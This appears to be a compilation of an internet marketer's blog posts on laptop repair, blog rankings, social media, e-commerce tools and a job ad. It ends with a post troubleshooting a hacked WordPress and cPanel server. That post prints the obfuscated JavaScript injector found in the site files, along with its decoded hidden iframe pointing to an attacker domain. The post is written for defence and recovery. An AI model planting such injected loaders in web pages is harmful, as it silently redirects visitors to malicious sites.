Image by javYliz via Flickr

My wife’s Inspiron 1525 has always been a bit possessed. It looks nice on the outside and does the job, but it is a bit clunky. We couldn’t beat the price though.

Tonight, it just wouldn’t turn. It would start up. The white timer bar would go across the bottom of the screen. But then only a white flashing cursor on the black screen would show. Okay.

Using the beat with a hammer method, I tried rebooting it a few more times. About 7 or 8 times. Then I tried the Media Direct button. What the hell. If it worked, then at least something did. And it did. I could get to pictures and videos also. So the hard drive was still in there somewhere.

So I searched for “Dell flashing cursor”. And came up with this, which didn’t apply. Though before I went back and read it more thoroughly, I found out how to create a bootable DOS USB Stick and how to flash the BIOS from it. And here is where to find Dell drivers.

Hey, it needed an updated BIOS anyway. And now it has one. I even took picture, which I am not posting to further prove my idiocy. It also still had the flashing cursor.

I happen to run into this 160 GB hard drive/BIOS issue here which I just stepped back from. Did not even want to read it.

So I ran into this post over a Yahoo Answers that gave me a “Duh” moment. And when you do insert the disk to reinstall the Dell’s operating system, realize that there also is a repair function. I found this after backing out of reinstalling Windows. I thought it would be best to ask my wife about files she may need. I could get them off now.

And I saw the repair link, which worked like a charm and took less than five minutes, with no lost files files or other issues. In the words of Napoleon Dynamite, “Idiot!”

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It’s Google Pagerank. Which page? The home page. I have changed the rank of my homepage just by changing the structure of my site. It isn’t hard.

Alexa rank? Ha! I have already shown this one is way off.

Compete? Also off, but don’t have all my data together just yet.

Technorati? These numbers are like a roller coaster. Who knows?

Feedburner? Are you kidding? It depends on the day.

Well, Gyuate Park took 10 factors to create his top blog list, including user votes. So vote up mine if you get a chance. I am currently at #88. Maybe I do like the other number systems better? Just kidding. More accurate numbers means a better list.

Internet Marketing Top Blogs at Winning the Web

Searching for the top blogs in the Internet marketing niche? Look no further. Winning the Web’s IM Top Blogs is the ultimate ranked list of the best Internet marketing blogs in the industry. Site categories include affiliate marketing, blogging, copywriting, Internet marketing, link building, make money online, SEO / SEM, and social media.

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Image via Wikipedia

Organic is used a lot on the internet. So let me explain how I am applying it to social media marketing.

How do you learn social media marketing? That was a question I asked myself a few months ago. It was a new animal to tackle. I had blogged and used SEO, now it was time to learn something new. But was it?

I joined StumbleUpon in 2004 when the marketer’s on the site could be counted on one hand. Did I market my sites? Not really. I just thumbed up sites and pages I liked. It was simple and natural. No ulterior motives. That combined with the fact that StumbleUpon is a bit addictive helped me become a top Stumbler for months at a time.

After a while, I scolded myself though. “This is not getting work done.” So I went back to doing work online instead of playing. Back to the SEO that I knew and that made me a lot of money when combined with affiliate programs. I took that route for a couple of years until I popped my head back up to realize that I was falling behind.

During that period of burying my head in the sand, blogs exploded, videos exploded and social networks exploded. And I didn’t know much about any of them. When I got to the social media marketing part of my self-created curriculum, I forgot about my past StumbleUpon experience.

What did I do instead? I started looking for hot stories. I subscribed to the feeds of blogs that were consistently showing up on the hot pages of social networks. I would open 4 tabs at the same type. In each tab, a different flavor of meme trackers. This was all to teach me what a good story was. I had some success with this method. But I was adding nothing and my comments were worthless, for the most part, because most of the stories didn’t really interest me.

I had become a machine, processing stories and comparing then to hot stories I had seen before. A little calculator was going in my head figuring out the odds of a story becoming hot and me being the one to find it. Stop!!!

And then I started thinking. If all of the following are covered:

• You write about a topic you enjoy.
• You research a topic you are passionate about.
• You read blogs on that topic.

Then there is no need to worry about how you use social media. Just learn the mechanics and use it. Just use it. After reading post after post on how to use social media, I was back to that point where I first tried StumbleUpon, was finding new sites I had never imagined before and wasn’t thinking about how it was effecting the traffic to my sites. Drop your ulterior motives and like things for the sake of liking them. That and maybe read Dale Carnegie’s “How to Win Friends and Influence People” every now and then and you should be alright. Articles on the topic can help, but for the most part, they are just telling you what you already know. The medium is different. The people, the same.

Image via Wikipedia

Today I just happen to do a search for “mobile blog posting software” and ran into ShoZu which does more than mobile blog posting. The new T-Mobile Dash is a pretty awesome phone. No touch screen but a qwerty keyboard. And there is a lot of freeware for window mobile.

What ShoZu basically does is give you a platform to easily post pictures, videos and updates to various social networks, blogs and media sharing sites, plus a lot more. It also has a copycat function which will post your picture or video to multiple sites with one upload. I wrote about it and more in a post about promoting your blog through content. There is also a desktop app for ShoZu.

I plan on posting a video of me using ShoZu. It does a lot of stuff. Today was an errand running day. I found it early, installed the program and played with it throughout the day. The videos to come will be better and maybe a bit more planned. I do have two more cameras, but the one on the dash isn’t bad for a phone. There is also a picture I posted from Flickr of $1.71/gallon gas. And then I went a little picture heavy and content light on this post because I went right from the post I linked to above to writing this post. And hopefully this video on my home page will give me the motivation to write another post tomorrow to hide it deeper in my blog.

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We have too many products and all of our vendors just doubled their lines. First let me warn you, “entry level” means “entry level”. If you just can’t handle working at a convenience store, then apply. If you have a lot of education and experience, you will laugh.

Here is the description:

All About Doors & Windows
1901 Cherry St. Kansas City, MO 64108
(816) 221-6543

The job duties will include the following:

• Scanning pictures for the internet store.
• Taking picture of parts for the internet store.
• Using Photoshop to edit pictures for the web.
• Updating product prices and descriptions.
• Entering new products into our Filemaker database.

This is an entry level job and there are no educational requirements. A little experience whether on your own or for a job will help, but is really not necessary either. Just a willingness to learn and work efficiently. And your job duties may expand to more areas depending on how quick you pick this up.

The phone # is busy most days due to customer calls, so emailing us via Craiglist to be sure we still have the opening and dropping by for an application is the best choice.

Your job duties will expand. That’s the truth. I started as an installer, then went to a job with the same description as above and now I am here asking for help. This is the fourth new job this year resulting from the growth of the sites and we are building more. But you can not count on the pay to be much. Mine isn’t. See it as a learning experience and a chance to sit down on the job.

Apply here or comment and then apply there.

And to reiterate, yes!

Past E-commerce Posts

Although I have been an affiliate marketer and SEO for years, I have learned a lot more about e-commerce specifically in the last two and a half years. That is the reason why these posts may overlap or contradict each other (see slide #2 - Strategies are like belief systems).

The methods grow and evolve over time and gradually turn into a blueprint I can follow again to begin new similar projects more efficiently. That is one of the the uses of this blog. Not only is it public, it is also my journal. By retracing my steps, I can prevent past mistakes and measure my progress.

• My last e-Commerce tips post - This was my last attempt at a complete strategy.
• Rank beginner tips for setting up a camera and using Photoshop for product pictures - I lost some of my pictures on this post in a hosting issue and because I was a bit lazy with FTP backups. Anyone better at photography, Photoshop or Gimp, please jump in. I can use all the help I can get. We have 12,000 products in our offline database. Some parts are from companies that went out of business, so we have to take our own pictures a lot of the time.
• Optimizing your e-commerce site for search engines - This is the extended version of slide #4.
• E-commerce webmasters need to be early adopters - You don’t need to sign up for every new social network, but get around enough to know what can be useful and learn to assess the value new technology and sites quickly. Think outside of the box. Follow people in niches that are more mainstream than yours to get ideas. Techniques trickle down slowly sometimes. There are many levels, varieties and cliques of marketers. The only reason to reject an idea is ethics and reputation. Can you help a community and being traffic back to your site without marketing to it? An extended version of slide #8.
• What to do about hotlinked images - This post is part joke. But some of our images are the only available ones online. I figured it was better to get other people to advertise for us than block hotlinking. It other words, use watermarks.
• How e-Commerce webmasters can leverage their vendor’s data and resources
• How to structure e-Commerce categories - A good category structure is good SEO. People like to bag on SEO’s. Here is an example where it works out for users and traffic to your site.

Tools to Build and Run Your e-Commerce Site

• Magento - I have only started using this software a few months ago, but have tried tons of paid and open-source e-commerce apps. This one is by far the best. And yes, it is free and open source.
• WP e-Commerce - A Wordpress plugin that will add a store to your size that is extendable with both free and paid addons.
• Open ERP - I didn’t know what ERP software was until a few months ago. I spent a months searching for inventory control software. What does ERP software do? Takes care of tasks that should be automatic and saves time. This was can connect to Magento and control inventory, P.O.’s and products updates. In can also replace software like Quicksbooks. This takes out that bottleneck. And, yes, free again.
• vTiger - This is CRM software. It does about the same thing as Open ERP but seems a bit easier to use. I am vague on both of these two programs because I have yet to make a decision or find the time to put them through their paces but I know solutions when I see them. We currently used Filemaker. And yes, vTiger is free also. And it has a mobile version. I found out about this software through a forum post on the Magento site.
• Open Office - Don’t pay for this type of software either.
• The Gimp - The free alternative to Photoshop. it has been around for a long time.
• Inkscape - This one is free and does vector graphics.
• Nvu - A free alternative to Dreamweaver.
• FileZilla - A free FTP program.
• Scribus - Free desktop publishing software.

Posts Elsewhere

• Brain Clark on Catablogging
• Cross-Selling Tips for Online Retailers
• 10 E-commerce Plugins for Wordpress
• 25 E-commerce SEO tips
• Ecommerce Tracking With Google Analytics
• 110 Ways Retailers are Using Social Media Marketing
• Add A Blog to Your E-commerce Site

I moved to the fly-over states from Phoenix. They are called flyover states because no one really wants to stop here. For the most part, the opinion is, nothing happens here. And I for one believed it for a long time. I have ranted about the area and it’s backwardness for a long time. And, yes, I do have a right, because I was born here. I only lived in Phoenix for 6 years.

So along came Highlight Midwest, it’s first year and it’s purpose:

• To highlight the best and the brightest web-related success stories in the Midwest
• To connect nearby communities
• To demonstrate local innovation in a rapidly changing economic landscape

I will be presenting there and only have a vague list of ideas that I will be covering so far. But I did do a lot of research on the unconference format and that made me feel a little bit better about deadline productivity method.

For those of you who want to read more about unconferences, see the second part of this post and for those of you more behind then I am, here are some links to help you out with what is going on at Highlight Midwest.

Highlight Midwest Resource Links

• The Official Site
• The Highlight Midwest Twitter Profile
• The Highlights Schedule
• Tonight’s Tweetup at Flying Saucer
• Upcoming Entry for the Reception
• Upcoming Entry for Focused Highlights

Unconference Notes

In order to get this post done and still continue research here is a widget of the search of my Friendfeed. Just discovered the RSS urls for FriendFeed searches today. That way the post can be up and I can still tag new items on Friendfeed to add to it. I will eventually find a better way of doing this, but for now, it works.

But the Bloghology social network has been going strong and making great strides and many of you there have friended me. But I haven’t been much of a friend as of late, because of current issues. But the show has to go on.

So what is this social network exactly and why should you join? There are so many, right? Is this just another clone? I know the questions and they are all valid. We have all seen social networks claiming to be the next best thing since weblogs became blogs. I have joined a few.

The Bloghology social network has been designed to connect bloggers, marketers and advertisers and here are some of the features it has currently:

• Personal Profiles where you can promote your blogs and profiles on other networks and describe you expertise.
• Photo and Video Albums that I will be testing out while I am mobile as soon as they connect my new phone today.
• Everyone gets a blog on site to promote their knowledge and expertise as well as the standard “update” feature that sites like MySpace and Facebook have.
• Members can create their own groups based on their interests.
• Members can create their own events calendar and invite other members to join. There is even an RSVP feature.
• Members can use live chat to talk to other members when the update and comment features are just not fast enough.
• Do you have something to sell? Well, there is the classified section where members can list products and services that will be visible to every member of the Bloghology network. And if you need a little more promotion for your products, for a limited time, you can buy a site wide banner for only $25 a month.

And just to let you know, that’s not the end of the features. That’s just where we are now and it’s the perfect time to get your foot in the door and make some friends. And don’t forget to include me in that circle.

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I don’t know the source of this virus currently. All I know is that everyone I have talked to so far that has this issue has been on a Layered Tech box, either directly, in the case of Woopra or through resellers. I have not found any other information of it effecting other hosting providers yet.

But I am only stating what I know to be true and trying to help people stop it on their own because god knows that these support desks are going to have their hands fulls.

Issues like this could be the result of third party scripts that run the server and be unconnected to the host itself.

The Purpose of This Post

I starting playing around with the internet right around 1998. I started playing with code and servers about 5 years ago. Anything can be learned in the field. Just use the power of search and follow instructions well. That is all you really have to do if you are required to be tech guy as well as a blogger.

The rest of the post may be boring at times, but it illustrates a troubleshooting process that may be useful for collecting the data you need if the problem becomes more than you can handle.

Use search. Any error message, window title or url can be used to track down the problem on the search engines.

The term I used to track down anything on my issue was “prevedvsem123.cn”, a url the iframe redirected my blogs to. At the time of my search I only found three references:

• Woopra hacked
• A Russian Forum that since had the links removed
• A post on the Mod2Sims forum

How to Protect Your Blog

The Fort Knox method never worked much for me. If you have Fort Knox worthy information outsource it’s storage to someone who knows what they are doing and does it for a lot of people and is insured.

The longer your site is online, the better chance you have of falling prey to any various attack. Most are not targeted and are widespread because they travel with various web apps and addons. You should probably not even consider the question of if. You need to focus on when.

The alternate route is having enough backups to cure you of paranoia. And then going through it once or twice and coming out virtually unscathed. The initial choice that made quick rebuilds possible was a common CMS like Wordpress. The tools I use for this are listed below:

• SyncBack - Freeware to schedule ftp file backup. Not really needed if you build your site on your home computer first and upload from there. But I save the wp-content folder which houses themes, plugins and uploads. I all save wp-config.php. The rest can go. I can replace it with the latest version of Wordpress. This mirror is also backuped regularly onto a portable hard drive using SyncBack.
• The Wordpress Database Backup Plugin - This plugin sends a daily database backup to Gmail.
• Gmail - A buttload of storage makes Gmail a good place to archive things. I can delete all the old mail if I ever get worried.
• Thunderbird - I also store the last week of backups of each of my Wordpress databases in a local Thunderbird folder.

Rebuilding consists of importing your last wordpress backup file into a new database, if needed. This is easily done through phpMyAdmin, but I didn’t have the luxury of that this time. And if you have no idea what PUTTY is, use SQLyog to connect to the remote database.

Install Wordpress for your blog. I always use one-click installs for this part. It is much easier and the updates are usually one click after that. Cpanel has Fantastico and Dreamhost has one-click installs.

Once that is done, upload your ftp backups of the wp-content folder and the wp-config file. A free FTP program like FileZilla will do.

I usually give it an hour. A few times because of host differences, plugins that worked on one server did not work on a new server. And a few times, I couldn’t import the whole mysql backup for one reason or another. But I could see it finished in about 15 minutes

Let them attack and don’t worry about it. You may want to really check your wp-content folder because that would be about the only way into your new installation.

The First Signs of Attack

Three blogs down, but not all the blogs on the server. Two blogs were showing this error:

Fatal error: Call to undefined function require_wp_db()  in wp-settings.php

From what I can tell, an error like this usually happens when a file is missing from a Wordpress installation or it has been edited incorrectly.

The solution: reinstall Wordpress. But the problem was not over. I could see my site, but it was acting strange.

What I Discovered on My Blogs

On random page loads at my blogs, I would get a redirect to:

prevedvsem123.cn/25/getfile.php?f=vispdf

and pop up that tried to open a incorrectly created PDF file.

So I looked at the source. At the very bottom was this:

<script>var source ="=jgsbnf!tsd>(iuuq;00qsfwfewtfn234/do0360joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?";

var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </script>

Sometimes once, sometimes twice depending on which blog I was looking at. There was then an extra body and html tag, like the thing was just tacked on the end. I could only find this codes on the page loads that would not redirect, because when it did, I was obviously on another site by the time I had a chance to view the source.

The vispdf part of the url refers to a script that creates pdf files and explains at least the reason why Adobe opened up and told me I had tried to open a file with the wrong extension.

From what I can tell, that script wrote this to the bottom of my page:

<iframe width="1" height="1" frameborder="0" src="http://prevedvsem123.cn/25/index.php">

And Inside Cpanel

I found the same javascript loader inside of my cpanel control panel. I checked the source. It also had been randomly loading the email form mentioned above.

If you followed the link to Woopra, you will find that two commenters jayson and roo mentioned having their sites hosted on Layered Technologies, where my server and Woopra’s server is located. I don’t screw with the directories in my host other than regular web files. And there is no way I could have inadvertantly added javascript to Cpanel. This is out of my hands.

I am not saying that Layered Tech is at fault. Anyone with the same issue using another host chime in. It will help track it down to a possible security flaw in a script.

The Cpanel installation folder is /usr/local/cpanel/. I decided to investigate. Not change anything. Just to see. In that folder I found a file: “ExampleModule.test.html”. The following is the contents of that file. What triggered me to look at it was the date. It was yesterday.

<html>

<cpanel ExampleModule="printfile(/proc/cpuinfo)">

</html><html><body>

<script>var source ="=jgsbnf!tsd>(iuuq;00qsfwfewtfn234/do0360joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?";

var result = "";

 for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); d

ocument.write(result);

</script></body></html>

Then I started looking at some of the other html files in the folders, but there were a lot of folders. I found the same code at the end of htdocs/index.html. I am not sure where to go from here, but I know I never touched these files and am not sure who could have.

And it hit more than that in cPanel. Currently I cannot access phpMyAdmin and get this error:
Parse error: syntax error, unexpected ‘<’ in /usr/local/cpanel/base/3rdparty/phpMyAdmin/libraries/common.lib.php on line 643

This got me thinking and I went to one of my Wordpress installations and found that the footer.php file had been rewritten with the same code at the bottom. Three blogs so far found with the footer of the theme file change in the exact same way. But only the footer and only the active themes.

No clue where to go from here other then to remove what I can from my files and wait it out. I have removed the code from my themes and will watch for anything else. A script had to do some sort of mass appending of this javascript to the end of the files. As far as I know, it is still some where. Layered Technologies and resellers needs to figure out what’s up on their end or I may just have to move to my own server with Dreamhost who I have had a standard account with for a few years now.

And that is what I call a roadblock. They will happen. Many times, two or three at the same time. About the only way to look at it is from the point of view of a stoic. One step at a time. It’s done when it’s done. No need or reason to get angry because that will only slow things down. And approach as an investigator to give you a little bit of the detachment you may need to keep from reminding yourself that you are working on your own livelihood.

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